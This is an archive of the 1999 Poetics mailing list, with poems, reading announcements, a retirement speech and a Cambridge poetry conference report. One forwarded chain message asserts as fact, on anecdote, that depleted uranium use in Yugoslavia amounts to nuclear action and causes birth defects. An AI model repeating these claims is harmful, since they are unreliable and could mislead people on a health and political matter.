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173. MAYHEW — demagoguery of tea
174. Miriam Nichols — Call for new writing/West Coast Line
175. Dodie Bellamy — Scalapino/Warsh at SPT
176. Chris Piuma — new flim! Sondheim, Upton, Henry, Piuma, LeVine eat breakfast merrily.
177. Poetics List — onomastic anathema / Zimmerman
178. Poetics List — / Mark Peters
179. George Bowering — Re: What does Mr. Pound believe?
180. Kevin Magee — Re: CHILD'SPLAY
181. Kevin Magee — Re: Living Space/Artmaking/Audiences

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182. Brian Stefans — Response to Standard Schaefer
183. Pierre Joris — Manifesto&a Performance
184. Brian Stefans — Response to Standard Schaefer (vers.II with fixed spelling)

185. Lowther,John — Re: Lyric (s e n t i m e n t a l / *which* lyric ?)
186. Mark W Scroggins — New Chapbook Series
187. Lowther,John — for Jeffrey Jullich / poetix
188. Poetry Project — World #55 Now Out!
189. Alan Sondheim — kernel/shell
190. derek beaulieu / house press — new from housepress: lawrence ferlinghetti at 80.
191. Loss Pequeño Glazier — http://epc.buffalo.edu

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192. Alan Sondheim — Performance Enunciation
193. Katie Degentesh — 9X9 LIVE ON KUSF
194. Loss Pequeño Glazier — EPC: New URL
195. Christopher M Devenney — Philadelphia Apt. Avail.
196. Lowther,John — Telic or Not pt.II (for 2 voices)
197. Jacques Debrot — Re: Response to Standard Schaefer
198. Annie Finch — sentimental
199. Billy Little — responsibility
200. Pritchett,Patrick — FW: Cole Swensen reading
201. Lowther,John — Disruption, Parameters etc
202. Christopher Reiner — Series/Mnemonic
203. Poetics List Administration — What does Mr. Pound believe? / Materer
204. Poetics List Administration — Shark #2 / Clark

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205. Garrett Kalleberg — Naturalism - TF10
206. Alan Sondheim — Nikuko:
207. Erika Stephens — Long response to Jacques
208. Michael Scharf — Music of Changes
209. travmar03 — Fw: Highwire
210. dbkk — Death of James Broughton
211. Billy Little — responds ability
212. Linda Russo — The Third Voice of Telos
213. Linda Russo — Re: Lyric (s e n t i m e n t a l / *which* lyric ?)
214. Linda Russo — Re: NOTLEY on "the youth"....
215. Brian Lucas (Kelly Services Inc) — FW: Angle #5 is Available
216. A H Bramhall — poet lariat
217. Randy Prunty — Re: Disruption, Parameters etc
218. P.Standard Schaefer — the basics
219. Billy Little — Re: Death of James Broughton
220. Angela Romagnoli — Re: POETICS Digest - 18 May 1999 to 19 May 1999 (#1999-97)
221. Steven Marks — Review of "26 Islands"
222. Kevin Magee — Re: SUKIE AT THE DIA

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223. Ron Silliman — Art projects for trails
224. Stephen Ellis — Re: NOTLEY on
225. Patrick F. Durgin — Arteaga & Notley online
226. Robert Archambeau — ANGEL EXHAUST 17
227. Brian Stefans — A "Defense" of Jacques
228. Annie Finch — coherent feminist poetics/sentimentalitiy
229. Chris Stroffolino — Re: Fw: Highwire and the B.L. SYNDROME
230. Poetry Project — season-end readings
231. Billy Little — gists from the midst/more response
232. derek beaulieu / house press — contact info for peter jaeger?

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233. Robert Archambeau — ANGEL EXHAUSTED

234. Elizabeth Fodaski — Torque 6
235. Katherine Lederer — A Spectacular Garden
236. Thomas Bell — Re: Towards emotion & science(Standard, Jacques, etc)
237. Alan Sondheim — The Rebel Girl
238. David Baratier — Towards emotion & science(Standard, Jacques, etc)
239. nora chai — address query

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240. Leonard Brink — Keith Waldrop
241. Julie Johnson — call for work for Duration: A journal of international poetry
242. Wendy Kramer — ray johnson & hannah weiner
243. Alan Sondheim — NIKUKO FLOODING, FLOODED (fwd)
244. Erika Stephens — Re: A "Defense" of Jacques

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245. Lawrence Upton. — (no subject)
246. Alan Sondheim — Her, through Bethlehem
247. travmar03 — Fw: Highwire Browbeating Reminder: Poetry and Photography
248. Linda Russo — define "institution"
249. Chris Stroffolino — DYLAN B-DAY THOUGHTS OF LUOMA
250. Poetry Project — apt sublet
251. pete spence — Re: contact info for peter jaeger?
252. Jordan Davis — the suck of art

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253. Stephen Cope — Query for Caribbeanists?
254. Jena Osman — found poetry
255. Lowther,John — FREE MAGAZINE OFFER
256. Poetics List Administration — beer-related poem contest / Brooklyn Brewery
257. ken|n|ing — Re: the suck of art
258. Billy Little — Re: the suck of art
259. miekal and — Re: found poetry
260. Stephen Ellis — Re: define
261. Jacques Debrot — Re: Found Texts
262. Robin Tremblay-McGaw — Class, Gender and Innovative Poetics
263. Taylor Brady — Re: found poetry
264. Jacques Debrot — Re: E-Mail Nigel Hinshelwood??
265. Kevin Magee — Re: PUTTING THE CARTE BEFORE THE POST
266. Clark D Lunberry — back/words

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267. shemurph — contact info for Garrett Caples?
268. rebecca wolff — fence party
269. rebecca wolff — work within the system, it's fun
270. Joe Brennan — Fwd: BUSH'S INTERNET NIGHTMARE CONTINUES
271. jarnot — Brooklyn summer sublet
272. Annie Finch — found poetry
273. Poetry Project — workshops with Larry Fagin
274. David Baptiste Chirot — Re: found poetry
275. Joe Brennan — Muse, censorship, and copyright....
276. Michael Krebs — Re: the suck of art
277. Julie Johnson — Paradigm Press On-Line
278. Poetics List — Howe in NYC / Prevallet
279. Lisa Samuels — Re: found poetry
280. Daniel Kane — source for a Ted Berrigan poem?
281. Joe Brennan — New Summer 1999 FLASHPOINT!!!
282. nuyopoman — Re: POETICS Digest - 24 May 1999 to 25 May 1999 (#1999-101)

283. DEBBIE COMERFORD — SERIAL DIAGRAM

27 MAY 1999

284. Chris Stroffolino — Re: workshops with Chris Stroffolino
285. Linda Russo — name your enemy/was "on Notley"
286. Ron Silliman — Bromige Poem
287. Kevin Magee — Re: CENTURY OF CLOUDS
288. Rachel Loden — it's not the meat, it's the motion
289. Jordan Davis — context judo
290. Lowther,John — Quick Political Scholastic Aptitude Test
291. raea100900 — My Europe Question
292. Ron Silliman — Grey Literature
293. Irving Weiss — Re: found poetry
294. Poetics List Administration — Isidore Ducasse / jesse glass

1. Kevin Magee

Re: "my home" posted 23 Apr

Fri 30 Apr 1999

THANKSGIVING DAY

and ran in the corner store
and asked him for the bus fare
and he give me the money and a pack of cigarettes

Thanksgiving day was here
this day free to many ways
to make me strong just as Job's story told

when you coming back to pay the dope man
all the while sink more and more into a deep black hole
went right back to what I had come to know

and hated the money and candy stuck and stayed
they understood I was decided in every declaration
Nathaniel, Ezra and Timothy, Mr Bush at the Corner Store
Howard the Numbers Man, Mr Crenshaw in the corner store
he forced my head against him in his mouth

come over and get high, smoke weed, drink pink champagne
who would feel the wrath of me next
loose in a great big city running wild
break the hold that hold he reached down
in his back pocket and pulled out his 38

Cornerstore man
have some pussy for credit
basement of his building

get a hold of bad dope
fevered from the abcesses
I used up all my veins
cigarettes and dope in the window
stick it through the window

say gone, or high, I wasn't anything
a syringe full of cocaine
scrutiny, urine, and buy
my double cheeseburgers
large strawberry milkshake
and large french fries

she had a Bar-B-Q
three quarter house
for us a house together
up into late house

ripping in that
take away me right
real, and I loved and I loved myself
just for that day

show me absolutely No
never not for any reason
I didn't ask for nor wanted

we went to the landlord house
with this book rewrite a book
and I drove like a bat out of hell
talk with them and calm them down
costumed to take residence over everything

there I met a real live dope man
and he shot me up at the same time
heroin and cocaine and serene and nothing
mattered anymore play and night more
and just pick up one and we didn't get or have

we had a jailhouse marriage that summer
and that my mother's father was killed in the coal mines
she said to me I'm going to teach you the songs
we used to sing way down in the back hills of Birmingham

never in my visioned thoughts
pondered, many reasons beat at
annullable, the damage was done
with them to think all alone about how

forsake them many people who knew me
the only exscape I had from my grip
my lifeline during that time
or while I was sucking dick

drunk jumped in my face calling me names
and comes out with her pistol
cocked it and shot it in the air

Thanksgiving day was here
this day free to many ways
to make me strong just as Job's story told

I walked out barefoot and it was winter
there was plenty snow on the ground

and I walked from 79th and Wade Park
to 74th and Quincy in the snow

↑ Index

2. Poetry Project
week forthcoming
Fri 30 Apr 1999

Lots of special events next week

starting with:

Our last open mike of the season on Monday, May 3rd
so if you've been storing it up
come on by! Sign-up at 7:30, reading begins at 8
the next open mike isn't until
October something

Wednesday, May 5th at 8 pm
Overtime: Reading for Philip Whalen
with Jackson Mac Low & Anne Tardos, Charles Bernstein, Ammiel Alcalay, Leslie Scalapino,
Ron Padgett, Eileen Myles, Edmund & Anselm Berrigan, Mei-mei Berssenbrugge, Tom Carey, Michael Rothenberg (editor of the book!), Wanda Phipps, and Lewis Warsh.
A reception, wine & cheese, will follow

Thursday, May 6th at 8 pm Later Auden: A Talk by Edward Mendelson
W.H.Auden's literary executor and author of Early Auden, Edward Mendelson will give a talk on the second part of his ongoing biography of Auden, just published by Farrar, Straus & Giroux. Copies of Later Auden will be on sale at the event, which is part of the Bicentennial Celebration of St. Mark's Church (Auden was a parishioner for many years)

Friday, May 7th at 8 pm
New Writers from Saint Ann's School

We need volunteer help for all of these events, so if you're in NYC, and feel like donating a little exercise & generosity, please call us at [redacted]. It'll be much appreciated!

AND NEW ON THE WEBSITE---well, you'll find that out on Tuesday, when we announce new poets & poems, a new feature, new archives, in our bimonthly frenzy of cyber-excitement...

Happy May Day

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3. dbkk
SPT summer internship
Fri 30 Apr 1999

Small Press Traffic will be holding its annual manuscript auction/literary soiree the beginning of October. In honor of our 25th anniversary, the soiree will include a large group reading to celebrate the glory of SPT.

We have an openning for a summer intern to work on the soiree. Duties include attending soiree committee meetings, helping to solicit food and auction item donations, bulk mailing invitations, working at the soiree. Very flexible.

Most of our interns have received college credit. Last summer's soiree intern received credit for independent study from SF State.

So, if you're in the Bay Area this summer/early fall and are looking for an opportunity, here's one.

We also can use volunteers for the soiree committee.

Thanks.

Dodie

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4. Alan C Golding
Request for Poem Ideas
Fri 30 Apr 1999

Dear Listmates:

I'll be giving a talk at the "Poetry and Pedagogy" symposium at Bard in late June, and am planning to talk about poems that respond to or come out of a pedagogical situation or that take a pedagogical stance. Taking off from the aphorism in *My Life* that "the avant-garde is always pedagogical," my focus will be mainly--but not exclusively--on linguistically innovative (or whatever you want to call 'em) texts. Historical range is post-World War II, going from 1950s examples like Snodgrass' "April Inventory" and Olson's "Letter for Melville 1951" through something like Snyder's "What you should know to be a Poet" up through some of Howe's library- and scholarship-centered texts and Perelman's

"Marginalization of Poetry." The governing question of the inquiry is something like this, then: How has "pedagogy," and pedagogical institutions, been treated in poems of this period, and what might the answers to that question suggest for transforming current pedagogical practice, for the teaching of challenging contemporary work, and for our understanding of such issues as the relationship between innovative writing and the academy?

I'd like to draw on your collective knowledge / wisdom to generate as many examples as possible of poems related to this set of concerns. I'm mostly interested in U.S. examples, but would also like to hear about Canadian, British, Oz, etc. examples too. I want to distinguish between "pedagogical" and "didactic" too, so am a bit less interested in examples of the latter (i.e., Olson preaching to Gloucester, say).

Anyway, I'd much appreciate hearing from you: front channel if you think the list would be interested and the list-meisters agree, or backchannel at one of these addresses: [redacted] or [redacted].

And many thanks.

All best,

Alan

Alan Golding
University of Louisville

[redacted]

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5. George Bowering

Re: book announcement

Fri 30 Apr 1999

> *i'll 2nd david baratier's notion, and qualify rachel loden's note on design elements: her _the last campaign_ is not just another pretty poetry book---it's a great read!...*
>
> *best,*
>
> *joe*

I'll third that motion. I read each poem 4 times and that makes a lovely thick book.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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6. Simon DeDeo
Jan Zwicky
Sat 1 May 1999

Dear listfolk --

The upcoming Harvard Review of Philosophy (which, for better or for worse, I'm editing), is coming out with a long poem by the Canadian poet Jan Zwicky. We will have a few copies left over after we mail, so if any Poetics folk would like a copy, backchannel (but soon; we're bulk mailing in two weeks.)

In the same breath, if anybody would like information about the review (submissions, etc.), drop me a line here or at [redacted]. We publish yearly on a wide range of material, making an end run from phil of mathematics back around to aesthetics.

-- Simon
[redacted]
http://www.fas.harvard.edu/~sdedeo

↑ Index

7. Rebecca Wolff
Re: STUCK IN SELF-PROMO WITH YOU
Sat 1 May 1999

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what time, Chris . . . .?

↑ Index

8. Billy Little
trance, late
Sat 1 May 1999

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the canned toes of ezra pound

sat in little mason jars
beside the cash register
of the gem spa
one toe (inflated with collagen)
per yellow translucent

wire hinged
rubber gaskets jar
dozens of them

left there for a giggle
by a wicked blackburn
flask drained
on his way for a pizzle
forty years earlier

left four of them originally
thats all he had
but soon enough others
left toes in their wills
Armand Schwerner being the latest
left two BIG toes
they called them all
ezra pounds toes
and nobody knew which
were the original four
the toes pound lost
tenting in the pisan winter
the pisan canned toes

but i knew
pounds toes stank difference
they were gleaner
bluer

i generally put them
one by one
under my tongue
and suck them
like a toffee
like a limburger toffee
a toe jam toffee
at the beginning of my shift
before i make a single egg creme

it's just like lsd
i love everyone i see
a god in them
don't know WITch

wikkad which
tadakemas
namaste

never swallowed the god
'spickled toes
put them back in the brine
for the next shift

the future happiness
of the other cashier
who once
pretended to be affrican
++++++++++++++++++++++

daddy's got cancel
goes for irritation therapy

emptiness the beginning
colon-ization=drowned in shit, shat upon, shoot, shot

it's just an isotope
it eats our cantelope
they keep me swinging at a plutonium ball
and i'm getting scold
so called
and i'm gettin 'scalled

plutonium balled ballad
plutonium bullet ballot
plutonium bottle ballet
plutonium battle wallet
plutonium william butler
plutonium peanut butler yeats
plutonium shelley bellies
plutonium Smart balm
plutonium patchen salve

they say that serbs are born with teeth
and albanians are born with pliars
they each know better liars butterflyers
haven't herd a badder1 this week
be stihl meinhart

fails further scrutiny
poetry inspector rules ixnay
only meets three

out of five requirements
not a poem
another travesty
report to the meatgrinder
the knifesharpener
the plutonium knife
the microwave butter
glowing toast
to the mutants

i want to be in that number
when the demons go marching in
in that number
when the ghosts go shrieking in
i want to be in that number
when the ghosts are phreakin

no peekin
cast your eyes from this wikkadness my friend
it can only add this dress to your discomfort
Endall CORNFUSION 4git D alphabet
close your eyes make new hordes
war horsehair whores hath wrote ywrot
-ik saylaysh Us ggggggrrrrafffikkkkkkk
7penny tales
bang in weirden wyrrds
jerkin on da jane gang
gnewed whirleds seven consonant whirleds
oh shun worlds
is land whirls
overworlds
suspended
invalid command forbidden
puff jobs for nazis night
skunkwerlds
vote for goatzzzzz
flee speech knight
See King, the holey jail
Dream King Dream
the doorless
washers sans Windows
saluters sans Stolichnaya
can't blame ya

dasvadenya
tovarichita
aufwiedersein

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

9. Peter Quartermain

Bedight and fillyness

Sat 1 May 1999

(Apologies for cross-posting, but) For those who might be interested, here is what I said yesterday at the University of British Columbia English Department's alcohol-free (not, then, free alcohol) retirement party, held to mark my retirement from this sad profession.

Peter

SPITCH

What are you supposed to say in a retirement speech? I've been looking forward to this one for thirty-seven years, and I can't resist this final dress rehearsal, this final tryout of the role every faculty member lusts for: This is the Must of an old fart. For you are my last captive audience; this is MY last captive occasion (at least here), and I'm going to gloat. I promise not to take more than half an hour.

What WILL you do with yourself, people have been asking. What'll you miss? Well, more than anything I'll miss the secretarial staff; they really are the saints the Pope should elevate; they keep this place together, and they keep us -- more or less -- sane, or at least functional. I shall indeed miss them, and say thankyou with all my heart.

What else will I miss? Well, I'm going to SHED (at least I hope I am) that habit of mind which over the years creeps up on those who escaped it in graduate school, a habit of mind which deftly, and with acute unconscious accuracy, allegorizes the place of the humanities in our culture by housing them in the

Buchanan Tower, whose brutally assertive phallic exterior encases a stifling colourless rigidity.

I'm going to miss a university administration whose most generous acts it can think of on your retirement are to give you free parking when you no longer need it, and a library card for a spanking brand new library whose collection is justifiably celebrated, and whose custodians are so besotted with computers that it now takes thirty minutes to find what you used to find in thirty seconds in the card catalogue.

I'm going to miss students, that astonishing company of the young. But if I should miss them too much, then I shall think of the diligent gravity of the undergraduate essay which carefully tells me in an essay on _Great_Expectations_ that

> Being approached by escaped convicts while visiting one's parents' grave must have been very scary. Magwitch hung Pip upsidown and backed him up against a grave stone so he was unable to keep upright. He told Pip to get him a file and widdle.

What demons possess us that we divorce the young from their language? that we terrorize those who write DON'T or COULDN'T in an essay, or who use the first person, or end a sentence with a preposition.

And there's the earnest intellectualism of the graduate student who, old before her time, in her first published article gravely tells us that

> Lise Melhorn-Boe "uses the book form to create an accessible site of interface between the voices in the text and the reader."

Where DOES this come from? What fear in THERE of gusto and of lustiness, of excitement in the life of words, of bluntness and simplicity, of LOVE. How is it that willy-nilly we foster such pretentious codswallop.

What we do to the language, we do to ourselves. We need a gross of munacy in our surds, spadness in our

weech, bedight and fillyness in the crassloom. Laughter instead of slaughter. We bleed to declare -- and this is amather nutter -- we need to beware the sour we all field, our tower to hulverize and scarrifiate those who crust angrobiliac and furopentric impristities, for we absquatify ourselves as well as crudents in the blame of expidulous bloatocols of so-called lollarship and spurning.

What an engridulating blatisfaction it has been to crotch the anxious sob-candidate who stabled moetry as Puff in his lob-jecture and was farsequently sub-sighted for his enquasiasm during question prime. There is great puffty in a fullying pubillanimity which prebends the bluedent from confussing "I don't know" in an essay. I have been what I have seen. To tosh a body's tender, slakes the burst for flood.

How we need an infibulating ambifallity, and how gradulous if we cannot see the pun in inTER disciplinarity. Injell-iter-liberty is the fast confuge of the depressive Absolute. Grammar masks a military practice. And me? Well, I'm OUT of this bloody army, so I gloat.

Whoop de do.

+ + + +

thursday ONLY...
xox camille

Reading:
David larsen and chris vitiello

Thursday, May 6, 1999

San Francisco-On Thursday, May 6, New Langton Arts presents two dynamic and upcoming writers, David Larsen and Chris Vitiello. The reading begins at 8:00 pm. Tickets are $6 general and $4 for students, seniors, and Langton members. The reading is held in Langton's theater at 1246 Folsom Street (between 8th and 9th streets) in San Francisco. For advance purchase, reservations, or more information, please call [redacted].

David Larsen first came to the Bay Area from Southern California ten years ago to attend the University of California at Berkeley, where he is now a PhD. candidate in Comparative Literature. His self-published efforts include Ice Devil, Stooper, Stoner, Famous Mouth Breathers, Twice Tolled Bells (with Raymond Pettibon), and the upcoming Porches of the Holy. He is the cover artist for Katherine Lederer's Explosive Magazine, now in its seventh issue. Larsen will be reading Twilit Summer, a selection from his seven volume series Sepia, a group of hand-made books about baseball, surfing, pop music, oblivion, and trauma.

Durham, North Carolina resident Chris Vitiello has published work in many
small magazines including Chain, Tinfish, and Open 24 Hours. Forthcoming
books in 1999 include Nouns Swarm A Verb (Xurban) and Monica and Clinton:
An Unauthorized Impeachment (7 bumps). Vitiello will be performing A Short
History of What Your Eyes Does, a work involving spoken and written text,
projections, and assorted light-emitting machines. Audience members will be
taught how to properly use their eyes and brains in order to become
contributing members of society. "Physician's permission is recommended, as
conventional physics may be disproven or suspended."

TICKET INFORMATION

*$6 general / $4 students, seniors, and Langton members
*Tickets go on sale at 7:00 pm
*Advance reservations are recommended

*Advance purchases with Visa or Mastercard available by phone or in person
($1 service fee per ticket)
*For reservations, advance purchase, or more information, please call
415
[redacted]

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&&&

effects of war, of course, are
always present for generations,
regardless of whether the weaponry is
nuclear or not. But the deformities are
usually psychic and societal,
not physical as they shall be in this
case if indeed we are nuking
Yugoslavia.

http://www.cogreslab.demon.co.uk/WEBDU.htm

and
http://www.fas.org/man/dod-101/ops/docs99/990406-kosovo-du.htm

are reputable information sources that
suggest A LOW LEVEL NUCLEAR
ACTION might be going on in Yugoslavia.

But no one seems to be saying for sure,
at this point.

Those with IE may want to have a look at

the military videos available
at
http://www.miltoxproj.org/videos.html.
They are strangely optimistic
about our ability to manage the sort of
large scale radiological
pollution that could be occuring now.

PLEASE COPY AND PASS.

Dear Friend,

Yes. The depleted uranium metals are
being used in the "tank killers" i.e.
metals that are heavy enough to pierce
armored vechicles, tanks and such...
Not probably being used...Being Used.
Also, the effects are
physical..i.e..children of gulf war
victims being born
without eyes, limbs etc.

Friend of mines husband died last winter

in Washington. His job in the gulf war was disarming mines, and eco clean up.

When they questioned the veterans administration, and the military, they were told that there was no evidence that uranium caused the rare form of cancer that killed him eventually, and also, if they talked about it, they would be prosecuted to the fullest extent of the law for revealing information that was threatening to national security.

"There is no path to Peace. Peace is the path." Gandhi

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12. Harold Teichman

Eyewitness Report--Cambridge Conference of Contemporary Poetry

Sun 2 May 1999

I attended (with my wife) the ninth CCCP, held at Trinity College on 23-25 April, organized by Rod Mengham, Kevin Nolan, Ian Patterson and Peter Riley. What follows amounts chiefly to first impressions, since I was unfamiliar with the work of all the readers except Michael Palmer before the conference, but a somewhat naïve and ‘other’ look at a perhaps sometimes too self-congratulatory avant-garde may have a modest value, so I continue.

It was hard to avoid invidious comparison with the Barnard conference of two weeks earlier, the only part of which I was able to attend, regrettably, was on Saturday from lunch on—the readings there, in New York, by Armantrout and Mullen were galvanizing, not to mention Perloff’s slightly incendiary paper. The Cambridge conference was, by contrast, a most odd, uneven and apparently insular affair, thankfully enlivened by its French Connection:

(1) The roster of readers might have been the work of Monty Python or David Lodge—and there were no overlap sessions, so one had a choice of only one reader at any given time. There was no discernible overall aesthetic (maybe not such a bad thing). There wasn’t much obvious questioning of the subjective ‘I’ in evidence, nor was there any Marxism on display. A few poets seemed to have been included simply because they had connections with Cambridge. I had expected heavy attendance from the pages of the ‘Other’ and ‘Chaos’ anthologies, but most of those anthologized, even some who live in Cambridge,

seemed to give it a miss. Maybe someone (Ric Caddel?) on the List can fill me in on the cultural politics here.

(2) The University was at best an indifferent host. I was lucky to be overheard by a helpful French lector in the know, Vincent Ferre, when I asked directions to the opening reading on Friday night, or I might have had a very hard time finding it. The first and last readings took place in the Old Combination Room (OCR), a fairly large old reception hall with portraits of Newtonian bewigged gentlemen on the walls, where the acoustics were so-so, there was no miking and the entry door was heavy and loud. As the chairs for the first night's reading had been removed at the last minute by the College, people had to scramble for seats in sofas along the walls. Poor Michel Deguy, the 'guest of honour' of the conference, had to hunker scowling and uncomfortable on a low table, listening to a barely audible reading in English by the very gentle and soft-spoken Lee Harwood. The remaining readings were in the pleasant, modern Winstanley lecture hall.

(3) The French visitors to this conference must have viewed much of the proceedings with bemused perplexity. Philippe Beck, whose journal 'Quaderno' was feted, gamely sat through the whole thing (as did I). With the exception of Michael Palmer, who is well known to be 'sited' within a Venn intersection of the two literatures, the anglophone and francophone poets here might have come from different planets. There was no public discussion of this yawning gap. A panel discussion on this point was sorely missed. (Aside: Why is it that the major French figures known in the English-speaking innovative world seem much less interested in dense post-Steinian word-salad than some of their anglophone counterparts?)

(4) This was a notably unfriendly and clannish (dare I say cliquish?) small gathering (about 30 or so people most of the time). The only people with any interest in talking to me, a nobody and an American, when approached (with the exception of Peter Riley, a genuinely nice chap) were not English: Vincent Ferre, Michael Palmer and Stephen Rodefer. There was a lot of shifty avoidance of eye contact and haughty gliding or lounging about, even though we were closeted together. So much for human relations after the Poetry Revolution. There was also a somewhat laddish, old-boys-club, brilliant-amateur atmosphere to the whole thing, despite the inclusion of a few women readers, which seemed typically English to me. The order of speakers kept having to be rearranged, with a few substitutions as well.

The highlights (for me) were (in no particular order): Michael Palmer, Christian Prigent, and Michel Deguy, though there were many other moments of interest. A few panel discussions or presentations of papers might have broken up the

readings effectively and generated more public discussions (of which there were none).

The readings (first impressions from sketchy notes):

Lee Harwood, an infinitely gentle, thin and slightly stooped figure, opened the readings with some poems from his latest book, 'Morning Light'. He mentioned that he's worked as a museum guard, and invoked the names of Anne Stevenson and Wordsworth in his inter-poem musings. He makes small jabbing karate-chop gestures to accentuate the frequent silence-beats between phrases, producing quietly staccato rhythms. His poems seem imagist, roughly, consisting of sequences of impressions and thoughts, often anchored in a place, with sometimes just a little too much explanation for the reader (like Wordsworth?) Maybe a bit of a New York school influence? Not very pomo, certainly. A curious choice for the opening of this conference, I thought.

Next morning, Michael Ayres, a local Cambridge poet, began the day. His reading was quite moving, though again scarcely modernist let alone pomo, being first-personal, elegiac and deeply mourning. The first text kept repeating, effectively, the phrase 'a great calm descends'. I was reminded at first, at the level of the phrase unit, of du Bouchet, but his (long) poems are constructed much more conventionally than du Bouchet's, so that likeness won't really hold —he's not afraid of a bit of sententiousness, either.

He was immediately followed by Andy Johnson, a Cambridge graduate who has spent some time in Africa. Johnson is a much louder personality than the first two readers, younger, eschewing the mic, and with the bearing of a standup comedian. He read short untitled poems, punchily and with gusto. They struck me as a bit wordy and baroque, in a sort of English-bravura clever-clever LangPo manner. One was a pastiche of descriptions of an Etruscan tomb, sort of. The ironic tone failed to find any purchase—this coming after Ayres's expression of personal loss was almost offensive.

Stephen Rodefer read very briefly as a substitute for Andres Ajens, whose English translations were still in preparation. His manner was offhand and funny. There was a poem for Pierre Alferi. I was intrigued and wanted to hear more from him, but he wanted to go to lunch.

After lunch we had another oddly matched trio. Ralph Hawkins began working the crowd in good vaudevillian form. He looks like a middle-aged businessman, but often sports a boho erotic scatological chinoiserie persona in his mostly comic poems, coming from a recent Equipage booklet. A sort of English blend of Frank O'Hara, Gary Snyder and Benny Hill. The occasional snicker from the usually fairly impassive audience.

Next up was the disarming Bob Walker, who caused some impatient squirming with his very amateurish and breathy flute solo, with which he opened the ‘set’. He said this was the first reading he’d given in 25 years and that he shares an interest with Ralph Hawkins in Mallarme and pigs. His poems were lyrical and thoughtful, perhaps in a somewhat discursive Poundian mode. The conference notes state that he teaches Japanese in the midlands, but he modestly depreciated his knowledge of Asian languages, though he drew the characters of a haiku on the blackboard for us, and explained the meaning of an ideograph on a drinking mug: hara kiri. He ended by sitting down at the piano and singing, again amateurishly, a sort of Donovanesque Heraclitean blues. Curiously, I found him a welcome break from the morning’s earlier performing-Brit tone.

Allen Fisher, who was not scheduled, and who was introduced as ‘one of the most important Cambridge poets of the last thirty years’, favoured us with a quick reading in sepulchral tones of two of his recent ‘sonnets’, which sounded to me like much of the homophonic translation I’ve read, so maybe that’s how they were produced. They were studded with terms from modern physics and astrophysics, as if pillaged from Cambridge’s own Stephen Hawking, but betrayed no obvious understanding of them. He was dressed all in black, wore a very sour expression, and has refined the Disdainful Donnish manner to perfection.

The four o’clock session brought a welcome pair of female voices. Andrea Brady from Philadelphia, now resident in Cambridge as a researcher in 17th century lit, was introduced as a very bright star on the horizon. I’m sorry to say that her work seemed callow to me, a by-the-numbers post-LangPo exercise, so I won’t say any more about it.

Things finally began to come alive with Lisa Robertson’s reading. Her book ‘Debbie’ was described in the introduction as ‘one of the most dazzlingly virtuosic texts of its epoch’ and maybe that was almost deserved—I wanted to buy a copy, but they were sold out. Her work reminded me a little of Armantrout’s, somehow always hinting at the sardonic, but more verbose and open. She reads in a somewhat flat, staccato but mesmerizing manner, constantly pulling you back into the text almost in spite of yourself. She seems capable of endless speech-production without any need for a glass of water. A long section concerned the weather, with much parallelism and near-repetition in construction and many I-sentences. A high point.

Michael Palmer began the evening session, reading from a new MS, I believe, called ‘Promises of Glass’. I had heard him read in the recording accompanying the ‘Exact Change Yearbook’, but had never seen him in person before. He is a more quietly spellbinding reader than that recording would have led me to

guess. He also spoke extemporaneously, with unaffected casual intelligence, about some of the occasions of the poems he read, and it was interesting that what can sound like very abstract linguistic meditative lyric is often occasioned by or dedicated to a particular acquaintance or place, with affection. One poem even contained some narrative bits. Another made much play with the phrase 'the book of…', and there were a lot of phrases with formally opposed elements. A real breath of fresh air in the day's proceedings, and a reading I won't forget.

Thank God for the French. Oscarine Bosquet was scheduled to read here, but she was unable to owing to illness, and Philippe Beck filled in. He read a (prose?) meditation on Celan's Meridian speech called 'Meduse automatique stoppee', I think, which bears in on the figure of the puppet/automaton/Pinocchio. Kevin Nolan supplied the English, if I recall. Then he read some short poems intended for a woman's voice, and the English was handled by Andrea Brady. Like some of Michel Deguy's work later, these were partly poems about poetry; at one point lineation was called 'bovine furrows' and a phrase I jotted down was '…philosophy is a closure without electric wires'.

Now came the apotheosis of the day's earlier quirkiness, with a very rare antipodean appearance by the exotic Australian creature Robert Adamson, who has the manner of the last surviving individual of an extinct species. He was introduced as never having left Australia before and as a good friend of Duncan and, latterly and epistolarily, of Michael Palmer. He lives on a river near Sydney, and his poems are awash with piquant riverine flora and fauna which are the proximate causes of unembarrassed old-fashioned epiphanies, as are the many particular poets and singers enthusiastically mentioned in his lines, including Hopkins, Larkin, Duncan, Les Murray, Bob Dylan and Emmylou Harris. Now this was a Bard. There was a poem dedicated to Kinsella, and one about Language Poetry called 'Approaching Zukofsky' that depicts LangPo as an Aussie nature preserve: 'we sang parrot…'. What could the French have made of this chipper but quaver-voiced apparition?

Next morning the rescheduled Andres Ajens, from Chile, read his polyglot poems, which are mostly in Spanish and French. A very soft shy voice, and he refused to use the mic. This work was in a familiar lyrical South American mode, as far as I could tell, but possibly quite strong. I think there was a Celan reference, 'mit dem Sternwuerfel', buried in one.

Christophe Tarkos, who looks very much the young café poet, a bit rumpled, stubbled and bleary-eyed, read his interesting faux-naif poems next with a rather bored quick delivery. They are long and associative, though without a well-defined subjective voice, consisting of layered short phrases and simple declarative sentences (too connected to be called New Sentences) with a mock,

spaced-out sententiousness, rather like a lobotomized or Antin-ized Ponge. One was a sustained collocation of assertions about the appearance, behaviour and oblique sensuality of small children and clouds, as if it were automatic writing at the park bench.

Next another high point: Christian Prigent's extraordinary performance. A small, casually dressed but natty man sits down at the table, without a microphone, squares up his papers before him with precise motions, bends down over the papers to read, and …becomes *possessed*, chuffing and wheezing, powerfully, like a locomotive/oracle, as if only this rhythm can force the words out, attacking the language, inhabiting it, gutting cliches, quoting, misquoting, ranting, climaxing and decrescendoing, almost sobbing. One piece focused on the word 'orgasme', another on 'ma mere'. This was a hard act to follow, so it was good we broke for a musical interlude at this point.

The improvisational bass/cello/harp trio Simon Fell & IST did a set, first pure music, then some collaborations with the poets. We missed the latter, opting for some fresh air, still digesting Prigent's work. The trio like to employ their stringed instruments strictly as percussion instruments, and there was considerable virtuosity on display.

The closing session in the evening took place again in the less than ideal OCR, this time with chairs, and featured Michel Deguy, whose work had been translated in collaboration with him during the preceding week by three students, quite a privilege for them, and a very nice touch. His work has a neoclassical, philosophically discursive quality that is hard to assimilate on first hearing. His voice is resonant and beautiful, and he radiates a grand-old-man dignity (Discourse of Authority!). Again, some panel discussion here of his place in French letters would have been nice.

